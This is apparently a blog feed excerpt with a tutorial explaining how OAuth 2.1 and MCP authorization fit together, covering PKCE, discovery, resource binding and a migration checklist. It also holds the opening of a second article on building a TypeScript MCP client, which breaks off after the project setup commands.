<p>OAuth 2.1 can sound like a major new version of OAuth, but the underlying model has not changed.</p>
<p>OAuth 2.0 gave developers a flexible framework for letting applications access protected resources on a user's behalf. Over time, security guidance refined how that framework should be used and moved developers away from older patterns.</p>
<p>OAuth 2.1 brings that guidance together. It is still an IETF Internet-Draft rather than a published RFC, and the MCP specification references a specific draft version, but the rules it collects are already established best practice.</p>
<p>If you already work with a modern OAuth 2.0 implementation, the roles remain familiar. A client requests access, an authorization server handles authorization and issues tokens, and a resource server accepts those tokens to protect its APIs.</p>
<p>In an MCP setup, the roles map directly:</p>
<table><thead><tr><th>OAuth role</th><th>In MCP</th><th>What it does</th></tr></thead><tbody><tr><td>Client</td><td>MCP client</td><td>Requests access</td></tr><tr><td>Authorization server</td><td>Your identity provider</td><td>Handles authorization and issues tokens</td></tr><tr><td>Resource server</td><td>MCP server</td><td>Accepts the access token and protects its tools</td></tr></tbody></table>
<p>OAuth 2.1 changes the set of patterns those components are expected to use.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-oauth-21-changes-you-see-in-mcp">The OAuth 2.1 changes you see in MCP<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#the-oauth-21-changes-you-see-in-mcp" class="hash-link" aria-label="Direct link to The OAuth 2.1 changes you see in MCP" title="Direct link to The OAuth 2.1 changes you see in MCP" translate="no">​</a></h2>
<p>OAuth 2.1 keeps the same basic authorization model but tightens several parts of the flow and removes older options.</p>
<p>For MCP, those changes mostly affect how the client starts authorization, receives the user back, and handles credentials afterward.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-authorization-code-flow-uses-pkce">The authorization code flow uses PKCE<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#the-authorization-code-flow-uses-pkce" class="hash-link" aria-label="Direct link to The authorization code flow uses PKCE" title="Direct link to The authorization code flow uses PKCE" translate="no">​</a></h3>
<p>Suppose an MCP client needs permission to connect to a protected server.</p>
<p>The client sends the user to the authorization server, where they sign in and approve access. When that is complete, the browser returns to the client with an authorization code.</p>
<p>The client then exchanges that code for tokens.</p>
<p>PKCE adds an extra check so the authorization server can verify that the client exchanging the code is the same client that started the flow.</p>
<p>Before sending the user to the authorization server, the client creates a random value called a <code>code_verifier</code>. From that value, it creates a <code>code_challenge</code>.</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Deriving the PKCE challenge</figcaption><ol class="steps_ptmz" aria-label="Deriving the PKCE challenge"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">code_verifier</span></div></li><li class="item_fcGx"><div class="box_IgAy muted_Xcva"><span class="text_K99R">SHA-256, then Base64URL</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R code_IywH">code_challenge</span></div></li></ol></figure>
<p>The client sends the challenge with the authorization request and keeps the verifier.</p>
<p>When the authorization code comes back, the client sends the original verifier during the token exchange. The authorization server creates the challenge again and checks that it matches the one from the original request.</p>
<p>An intercepted authorization code is therefore not enough on its own.</p>
<p>OAuth 2.1 makes PKCE part of the normal authorization code flow rather than an optional protection added separately. MCP goes one step further: a client must use the <code>S256</code> method, and must refuse to continue if the authorization server's metadata doesn't advertise PKCE support in <code>code_challenge_methods_supported</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="tokens-no-longer-return-directly-through-the-browser">Tokens no longer return directly through the browser<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#tokens-no-longer-return-directly-through-the-browser" class="hash-link" aria-label="Direct link to Tokens no longer return directly through the browser" title="Direct link to Tokens no longer return directly through the browser" translate="no">​</a></h3>
<p>Older OAuth 2.0 applications could use the implicit grant, where an access token was returned directly through the browser.</p>
<p>OAuth 2.1 removes that option.</p>
<p>Instead, the browser returns with an authorization code, and the client exchanges that code for an access token in a separate request:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Implicit grant versus authorization code</figcaption><ol class="steps_ptmz" aria-label="Implicit grant versus authorization code"><li class="item_fcGx"><div class="columns_z60Q lanes_Nvhu"><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Implicit grant (removed)</span><ol class="steps_ptmz" aria-label="Implicit grant (removed)"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Browser</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Authorization server</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R">Access token returned to the browser</span></div></li></ol></div><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Authorization code (OAuth 2.1)</span><ol class="steps_ptmz" aria-label="Authorization code (OAuth 2.1)"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Browser</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Authorization server</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Authorization code returned to the client</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Client calls the token endpoint</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Access token</span></div></li></ol></div></div></li></ol></figure>
<p>For an MCP client, the browser is still used for login and authorization, but the access token is obtained through the token endpoint rather than being returned in the browser redirect.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-client-does-not-collect-the-users-password">The client does not collect the user's password<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#the-client-does-not-collect-the-users-password" class="hash-link" aria-label="Direct link to The client does not collect the user's password" title="Direct link to The client does not collect the user's password" translate="no">​</a></h3>
<p>OAuth 2.0 also included the Resource Owner Password Credentials grant.</p>
<p>That flow allowed an application to ask the user for a username and password and exchange those credentials for a token.</p>
<p>OAuth 2.1 removes it.</p>
<p>An MCP client should not collect the user's account password itself. Instead, it sends the user to the authorization server and lets that server handle authentication.</p>
<p>Login methods such as MFA, passkeys, and other authentication requirements stay with the authorization server. The MCP client receives tokens that represent the access that was granted, not the user's password.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="redirects-must-go-back-to-the-expected-callback">Redirects must go back to the expected callback<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#redirects-must-go-back-to-the-expected-callback" class="hash-link" aria-label="Direct link to Redirects must go back to the expected callback" title="Direct link to Redirects must go back to the expected callback" translate="no">​</a></h3>
<p>Once authorization is complete, the authorization server needs to return the user to the client.</p>
<p>It does that using the client's redirect URI, for example <code>http://127.0.0.1:8765/callback</code>.</p>
<p>OAuth 2.1 expects redirect URIs to match the registered value exactly. The one exception is a native app's loopback address, where the authorization server must allow the port to vary.</p>
<p>If the registered callback is <code>https://client.example.com/oauth/callback</code>, the authorization server should not accept <code>https://client.example.com/anything-else</code> simply because both URLs use the same host.</p>
<p>For an MCP client, the practical rule is to register the callback it actually uses and send that same callback during authorization. MCP also requires every redirect URI to be either a loopback address or HTTPS.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="access-tokens-stay-out-of-urls">Access tokens stay out of URLs<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#access-tokens-stay-out-of-urls" class="hash-link" aria-label="Direct link to Access tokens stay out of URLs" title="Direct link to Access tokens stay out of URLs" translate="no">​</a></h3>
<p>Once the client has an access token, it needs to send that token when calling the protected MCP server.</p>
<p>The token should not be placed in the URL:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://mcp.example.com/mcp?access_token=eyJ...</span><br></span></code></pre></div></div>
<p>URLs can appear in logs, browser history, traces, and debugging tools, which makes them a poor place for bearer credentials. OAuth 2.1 forbids clients from sending access tokens in a query parameter, and tells resource servers to ignore them there.</p>
<p>Instead, the client sends the token in the HTTP <code>Authorization</code> header:</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Bearer eyJ...</span><br></span></code></pre></div></div>
<p>The MCP server validates that token before allowing access to the protected resource.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="refresh-tokens-for-public-clients-are-protected-against-replay">Refresh tokens for public clients are protected against replay<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#refresh-tokens-for-public-clients-are-protected-against-replay" class="hash-link" aria-label="Direct link to Refresh tokens for public clients are protected against replay" title="Direct link to Refresh tokens for public clients are protected against replay" translate="no">​</a></h3>
<p>Most MCP clients are public clients: desktop apps, IDE extensions, and CLIs that can't keep a client secret. If a refresh token issued to one of them leaks, nothing ties it to the client it was issued to.</p>
<p>OAuth 2.1 closes that gap. For public clients, the authorization server must detect refresh-token replay, either by binding the refresh token to the client instance or by rotating it, issuing a new refresh token on every refresh and invalidating the old one. The MCP specification requires rotation for public clients.</p>
<p>Rotation has a practical consequence for the client: always store the newest refresh token, and make sure two refreshes for the same user don't race each other. <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run">Why Your MCP Token Expires Mid-Run</a> shows a per-user refresh lock for exactly this.</p>
<p>Together, these changes give MCP clients a narrower authorization path: use the authorization code flow with PKCE, keep authentication at the authorization server, return only to known callbacks, send access tokens in headers rather than URLs, and treat refresh tokens as single-use.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-those-changes-fit-agent-flows">How those changes fit agent flows<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#how-those-changes-fit-agent-flows" class="hash-link" aria-label="Direct link to How those changes fit agent flows" title="Direct link to How those changes fit agent flows" translate="no">​</a></h2>
<p>OAuth 2.1 was not designed specifically for AI agents. The same rules apply to ordinary applications.</p>
<p>What changes with agents is when authorization may happen.</p>
<p>In a traditional application, the user often starts the connection themselves. They click <strong>Connect calendar</strong>, complete authorization, and then use the calendar feature.</p>
<p>With an agent, the need for authorization may only become clear after the task has already started.</p>
<p>For example:</p>
<blockquote>
<p>Move my meeting with Maya to Friday afternoon.</p>
</blockquote>
<p>The agent decides it needs a calendar tool exposed through an MCP server. If that server requires authorization, the task cannot continue yet.</p>
<p>The client pauses the flow, sends the user through authorization, obtains the required access, and then continues the original task.</p>
<p>A simplified version looks like this:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Authorization in the middle of a task</figcaption><ol class="steps_ptmz" aria-label="Authorization in the middle of a task"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">User asks the agent to perform a task</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Agent selects an MCP tool</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R">MCP server requires authorization</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">User signs in and approves access</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Client obtains an access token</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Agent continues the task</span></div></li></ol></figure>
<p>The OAuth 2.1 rules from the previous section keep that interruption predictable.</p>
<p>The user authenticates with the authorization server rather than handing credentials to the agent. The browser returns an authorization code instead of an access token. PKCE ties that code to the client that started the flow, and the resulting token is sent to the MCP server through the <code>Authorization</code> header.</p>
<p>The agent does not need to handle the user's password or understand how they authenticated. The client only needs to obtain the access required for the tool call and resume the task afterward.</p>
<p>A single task may eventually involve several protected services, such as a calendar server, a document server, and a source-control server. Each can have its own authorization requirements without exposing the user's underlying login credentials to the agent.</p>
<p>OAuth provides the authorization model. MCP adds the discovery and resource rules that help the client determine where to authorize and which protected server the resulting token is intended for.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-mcp-adds-on-top">What MCP adds on top<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#what-mcp-adds-on-top" class="hash-link" aria-label="Direct link to What MCP adds on top" title="Direct link to What MCP adds on top" translate="no">​</a></h2>
<p>OAuth 2.1 gives the client a way to obtain and use access tokens.</p>
<p>For MCP, two practical questions remain:</p>
<ul>
<li class="">Where should the client send the user for authorization?</li>
<li class="">How does it make sure the token it receives is meant for this MCP server?</li>
</ul>
<p>MCP answers both by building on existing OAuth standards.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="finding-the-right-authorization-server">Finding the right authorization server<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#finding-the-right-authorization-server" class="hash-link" aria-label="Direct link to Finding the right authorization server" title="Direct link to Finding the right authorization server" translate="no">​</a></h3>
<p>Suppose an MCP client connects to <code>https://mcp.example.com/mcp</code>.</p>
<p>That MCP server may protect its tools without running its own login or token endpoints.</p>
<p>Authorization might instead be handled by <code>https://identity.example.com</code>.</p>
<p>The client needs a way to discover that relationship.</p>
<p>MCP uses OAuth 2.0 Protected Resource Metadata (RFC 9728) for this. The MCP server publishes metadata that tells the client which authorization server can be used with it.</p>
<p>A simplified document might look like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"resource"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://mcp.example.com/mcp"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"authorization_servers"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">"https://identity.example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>From there, the client can discover the authorization server's own metadata and find the endpoints it needs.</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Two hops of discovery</figcaption><ol class="steps_ptmz" aria-label="Two hops of discovery"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">MCP server</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">RFC 9728</span><span class="text_K99R">Protected Resource Metadata</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Authorization server</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">RFC 8414 or OpenID Connect Discovery</span><span class="text_K99R">Authorization Server Metadata</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Authorization and token endpoints</span></div></li></ol></figure>
<p>The client does not need to know the authorization endpoint for every MCP server in advance. It can discover the setup from the protected resource.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="asking-for-a-token-for-the-right-resource">Asking for a token for the right resource<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#asking-for-a-token-for-the-right-resource" class="hash-link" aria-label="Direct link to Asking for a token for the right resource" title="Direct link to Asking for a token for the right resource" translate="no">​</a></h3>
<p>Finding the authorization server is only part of the problem.</p>
<p>The same authorization server may issue tokens for several APIs. The client therefore needs to say which protected resource it wants to access.</p>
<p>MCP uses the OAuth <code>resource</code> parameter (RFC 8707) for this.</p>
<p>When starting authorization, the client identifies the MCP server:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">resource=https://mcp.example.com/mcp</span><br></span></code></pre></div></div>
<p>The authorization server can then issue a token intended for that resource, and the MCP server rejects any token that wasn't issued for it.</p>
<p>This prevents the client from treating a token issued for one service as a generic credential for every service supported by the same authorization server.</p>
<p>MCP therefore uses OAuth 2.1 for the authorization flow, Protected Resource Metadata to discover where authorization happens, and the <code>resource</code> parameter to identify which MCP server the client wants to access.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>MCP adds a few more rules</div><div class="admonitionContent_BuS1"><p>Discovery and resource binding are the two you'll meet first. The MCP specification also defines how a client identifies itself to an authorization server it has never seen, preferring Client ID Metadata Documents over the now-deprecated Dynamic Client Registration. It also requires the client to check the issuer on the authorization response (RFC 9207), and describes how a server asks for more scopes mid-task. <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide">MCP Authorization: The Complete Developer Guide</a> covers each of them.</p></div></div>
<p>MCP does not replace OAuth. It defines how those existing OAuth pieces fit together when a client connects to a protected MCP server.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="putting-the-flow-together">Putting the flow together<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#putting-the-flow-together" class="hash-link" aria-label="Direct link to Putting the flow together" title="Direct link to Putting the flow together" translate="no">​</a></h2>
<p>We have now seen the individual pieces. Here is how they fit together from the MCP client's point of view.</p>
<p>Assume the client has already discovered the authorization server, its authorization and token endpoints, and the URL of the protected MCP server.</p>
<p>The flow starts when the client needs access to that server.</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">The authorization flow, end to end</figcaption><ol class="steps_ptmz" aria-label="The authorization flow, end to end"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">1 · MCP client</span><span class="text_K99R">Start authorization with PKCE</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">2 · Authorization server</span><span class="text_K99R">User signs in and approves access</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">3 · MCP client</span><span class="text_K99R">Receives an authorization code</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">4 · Authorization server</span><span class="text_K99R">Client exchanges the code and PKCE verifier</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">5 · MCP client</span><span class="text_K99R">Receives an access token</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="label_vt37">6 · Protected MCP server</span><span class="text_K99R">Client sends the access token</span></div></li></ol></figure>
<p>When it starts authorization, the client identifies the resource it wants to access, and creates a PKCE verifier and challenge and a random <code>state</code> value before opening the browser.</p>
<p>Conceptually, the authorization request looks like this:</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">GET /authorize?</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  response_type=code</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;client_id=mcp-client</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;redirect_uri=http://127.0.0.1:8765/callback</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;code_challenge=...</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;code_challenge_method=S256</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;state=...</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;resource=https://mcp.example.com/mcp</span><br></span></code></pre></div></div>
<p>The user signs in and approves access at the authorization server.</p>
<p>After authorization, the browser sends the user back to the client's registered callback:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">http://127.0.0.1:8765/callback?code=abc123&amp;state=...</span><br></span></code></pre></div></div>
<p>The client checks that <code>state</code> matches the value it sent, then exchanges the code at the token endpoint. A public client identifies itself with <code>client_id</code> and includes the PKCE verifier it created earlier:</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">POST /token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">grant_type=authorization_code</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">&amp;code=abc123</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">&amp;client_id=mcp-client</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">&amp;code_verifier=...</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">&amp;resource=https://mcp.example.com/mcp</span><br></span></code></pre></div></div>
<p>OAuth 2.1 drops <code>redirect_uri</code> from this request, because PKCE already ties the code to the client that requested it. Many authorization servers still accept it for OAuth 2.0 compatibility, so a client that sends it won't break anything.</p>
<p>If the request succeeds, the authorization server returns an access token.</p>
<p>The client can then call the protected MCP server:</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">POST /mcp</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Bearer &lt;access-token&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Content-Type: application/json</span><br></span></code></pre></div></div>
<p>The token stays in the <code>Authorization</code> header rather than appearing in the URL.</p>
<p>In practice, an MCP SDK or OAuth library will usually handle much of this plumbing. <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client">Connecting an AI Agent to an OAuth-Protected MCP Server</a> shows FastMCP doing all of it. The flow is still useful to understand because it shows where OAuth 2.1 ends and the MCP-specific discovery and resource rules begin.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="migration-checklist">Migration checklist<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#migration-checklist" class="hash-link" aria-label="Direct link to Migration checklist" title="Direct link to Migration checklist" translate="no">​</a></h2>
<p>If you already have an MCP client built around OAuth 2.0, you probably do not need to rebuild the authorization layer from scratch.</p>
<p>Walk through the flow and check whether you still rely on any older patterns:</p>
<ul>
<li class="">If you use the authorization code flow without PKCE, add a fresh verifier and <code>S256</code> challenge for each authorization attempt.</li>
<li class="">If you use the implicit grant, move to the authorization code flow with PKCE.</li>
<li class="">If the client collects the user's username and password, move authentication back to the authorization server.</li>
<li class="">If redirect URIs are matched loosely, register and use the complete callback URI.</li>
<li class="">If access tokens appear in URLs, send them in the <code>Authorization</code> header instead.</li>
<li class="">If the client reuses an old refresh token after a refresh, store the new one each time, and serialize refreshes per user.</li>
<li class="">If the client assumes it already knows which authorization server to use, add Protected Resource Metadata discovery.</li>
<li class="">If the client requests a token without identifying the MCP server, include the <code>resource</code> parameter for that protected resource.</li>
</ul>
<p>MCP does not introduce a new authorization model.</p>
<p>OAuth 2.1 provides the authorization flow. MCP adds the information a client needs when it connects to a protected server it may not already know: where authorization happens and which resource the token is meant for.</p>
<p>If you already understand OAuth 2.0, there is no need to start over. You mainly need to know which older paths are gone, which protections are now part of the normal flow, and how MCP uses discovery and resource-specific authorization to connect the client, authorization server, and protected MCP server.</p>]]></content:encoded>
            <category>MCP authorization</category>
            <category>OAuth &amp; OIDC</category>
            <category>AI Agent Identity &amp; MCP</category>
        </item>
        <item>
            <title><![CDATA[Connecting an AI Agent to an OAuth-Protected MCP Server]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client</guid>
            <pubDate>Mon, 19 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Connect an AI agent to an OAuth-protected MCP server using TypeScript. Learn discovery, PKCE, client registration, browser consent, and how the MCP SDK manages your tokens.]]></description>
            <content:encoded><![CDATA[<p>Connecting an AI agent to a public MCP server is fairly straightforward. We give the client a server URL, retrieve the available tools, and make them available to the agent.</p>
<p>But what happens when the server needs the user's permission before allowing access?</p>
<p>Imagine we're building an AI assistant that can search documents in a user's workspace. The MCP server exposes a <code>search_documents</code> tool, but those documents aren't public. The user needs to sign in and authorize our application before it can search them.</p>
<p>We could obtain an access token ourselves and attach it to every request. That might get us through the first call. But what happens when the token expires, another user connects, or the server needs additional permissions?</p>
<p>Our application needs to manage authorization, not just attach a token.</p>
<p>In this article, we'll build a TypeScript MCP client, see what happens when a server requires authentication, and connect to an OAuth-protected MCP server using the official MCP SDK.</p>
<p>We'll start with a small test server that doesn't require an identity provider. Once the basic connection works, we'll introduce OAuth discovery, registration, PKCE, browser consent, and token management.</p>
<p>We covered the underlying protocol in <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide">MCP Authorization: The Complete Developer Guide</a>. Here, we'll focus on what happens inside the client.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-problem-the-tutorials-skip">The problem the tutorials skip<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#the-problem-the-tutorials-skip" class="hash-link" aria-label="Direct link to The problem the tutorials skip" title="Direct link to The problem the tutorials skip" translate="no">​</a></h2>
<p>Most introductory MCP examples start with a server that doesn't require authentication.</p>
<p>The client connects, discovers some tools, and calls one. There's no user sign-in or authorization flow to worry about.</p>
<p>Let's start there too, so we have something working before introducing OAuth.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="create-a-simple-mcp-client">Create a simple MCP client<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#create-a-simple-mcp-client" class="hash-link" aria-label="Direct link to Create a simple MCP client" title="Direct link to Create a simple MCP client" translate="no">​</a></h3>
<p>We'll use the official MCP TypeScript SDK v2.4.0 and Node.js 22 or newer.</p>
<ol>
<li class="">
<p>Create a project and install the client SDK:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">mkdir oauth-mcp-client</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">cd oauth-mcp-client</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm init -y</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm pkg set type=module</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-exact @modelcontextprotocol/client@2.4.0</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-dev typescript tsx @types/node</span><br></span></code></pre></div></div>
<p>The v2 SDK separates the client and server packages. If you've seen examples importing from <code>@modelcontextprotocol/sdk/client</code>, those use the older v1 package.</p>
</li>
<li class="">
